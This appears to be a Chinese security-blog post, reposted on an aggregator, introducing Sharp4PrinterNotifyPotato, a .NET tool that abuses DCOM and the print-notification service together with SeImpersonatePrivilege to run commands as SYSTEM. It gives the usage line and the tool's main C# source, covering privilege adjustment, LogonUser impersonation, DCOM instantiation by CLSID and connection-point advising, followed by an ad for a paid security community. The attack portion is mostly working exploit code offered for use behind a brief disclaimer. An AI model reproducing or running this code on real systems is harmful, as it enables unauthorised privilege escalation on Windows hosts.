当前位置: 首页 > news >正文

.NET 一款通过DCOM实现系统提权的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4PrinterNotifyPotato 利用了 Windows 中的 DCOM 服务对象和打印通知服务中的权限配置漏洞,通过 SeImpersonatePrivilege 权限进行攻击,从而实现本地权限提升。

03使用方法

首先需要将源码编译成可执行文件Sharp4PrinterNotifyPotato ,运行时传递要执行的命令作为参数,基本用法如下所示。

Sharp4PrinterNotifyPotato.exe "whoami /all"

工具执行后,当前用户会尝试以 SYSTEM 权限运行传入的命令,并输出结果。具体如下图所示。

04编码实现

以下是 Sharp4PrinterNotifyPotato 的主要功能实现代码,通过初始化COM和模拟登录用户以及创建DCOM对象完成权限提升,具体代码如下所示。

private unsafe static void Main(string[] args)
{try{NativeMethods.CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, 0, 3, IntPtr.Zero, 64, IntPtr.Zero);LUID_AND_ATTRIBUTES[] array = new LUID_AND_ATTRIBUTES[1];using (WindowsIdentity current = WindowsIdentity.GetCurrent()){Console.WriteLine("[+] Current user: " + current.Name);NativeMethods.LookupPrivilegeValue(null, "SeImpersonatePrivilege", out array[0].Luid);TOKEN_PRIVILEGES structure = default(TOKEN_PRIVILEGES);structure.PrivilegeCount = 1U;structure.Privileges = array;array[0].Attributes = 2U;if (!NativeMethods.AdjustTokenPrivileges(current.Token, false, ref structure, Marshal.SizeOf<TOKEN_PRIVILEGES>(structure), IntPtr.Zero, IntPtr.Zero) || Marshal.GetLastWin32Error() != 0){Console.WriteLine("[x] SeImpersonatePrivilege not held.");return;}}Guid clsid = new Guid("{854A20FB-2D44-457D-992F-EF13785D2B51}");IntPtr zero = IntPtr.Zero;if (!NativeMethods.LogonUser("X", "X", "X", 9, 3, ref zero) || !NativeMethods.ImpersonateLoggedOnUser(zero)){Console.WriteLine("[x] logon as interactive error.");}else{object obj = null;int num = NativeMethods.CoCreateInstance(clsid, null, 4, new Guid("00000000-0000-0000-C000-000000000046"), out obj);if (num != 0){Console.WriteLine("[x] CoCreateInstance fail with HRESULT: 0x" + num.ToString("x"));}else{IConnectionPointContainer connectionPointContainer = obj as IConnectionPointContainer;IEnumConnectionPoints enumConnectionPoints;connectionPointContainer.EnumConnectionPoints(out enumConnectionPoints);int celt = 1;int num2 = 0;IConnectionPoint[] array2 = new IConnectionPoint[1];num = enumConnectionPoints.Next(celt, array2, (IntPtr)((void*)(&num2)));CustomQIHolder pUnkSink = new CustomQIHolder(args[0]);while (array2[0] == null){num = enumConnectionPoints.Next(celt, array2, (IntPtr)((void*)(&num2)));if (num != 0){break;}}try{array2[0].Advise(pUnkSink, out num2);}catch{}}}}catch (Exception arg){Console.WriteLine("[x] " + arg);}
}

Sharp4PrinterNotifyPotato 工具通过初始化 COM 安全性设置,确保当前用户拥有 SeImpersonatePrivilege 权限,并通过模拟一个交互式登录用户,创建一个 DCOM 对象实例,获取 IConnectionPointContainer 接口,并枚举 DCOM 对象的连接点。

随后,工具注册一个自定义事件接收器,以触发权限提升操作,最终以 SYSTEM 权限执行传入的命令。此过程通过调用一系列 Windows API 函数实现。

05.NET安全知识库

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题。

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

    

图片

图片


http://www.mrgr.cn/news/49083.html

相关文章:

  • 结构体的定义和使用
  • 【可答疑】基于51单片机的红外感应洗手器(含仿真、代码、报告、演示视频等)
  • 【千图网-登录_注册安全分析报告】
  • Python人脸识别技术进阶篇
  • 【Java面试——基础知识——Day4】
  • shell中的变量
  • 使用OpenCV处理视频并显示灰度图像
  • 通过多元蒙特卡罗模拟来预测股票价格的日内波动性
  • 文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《计及状态量平均超限比的综合能源系统动态能量流双层优化》
  • C++模板初阶速成
  • 分享一些常用的数据库性能监测工具
  • 强基计划揭秘、攻略、机遇全知晓,开启普通学子名校逆袭路
  • Qt-系统文件相关介绍使用(61)
  • GeoScene Pro教程(009):GeoScenePro的空间参考与坐标转换
  • Python Enhancement Proposals,Python 增强提案
  • Python 列表专题:删除元素
  • 【最新华为OD机试E卷-支持在线评测】构成正方形的数量(100分)多语言题解-(Python/C/JavaScript/Java/Cpp)
  • 使用SpringMVC搭建WEB项目时报错404的问题排查解决以及web.xml配置文件init-param行标红问题
  • docker-compose 部属netcore
  • 设计一个多环境配置管理系统的实用指南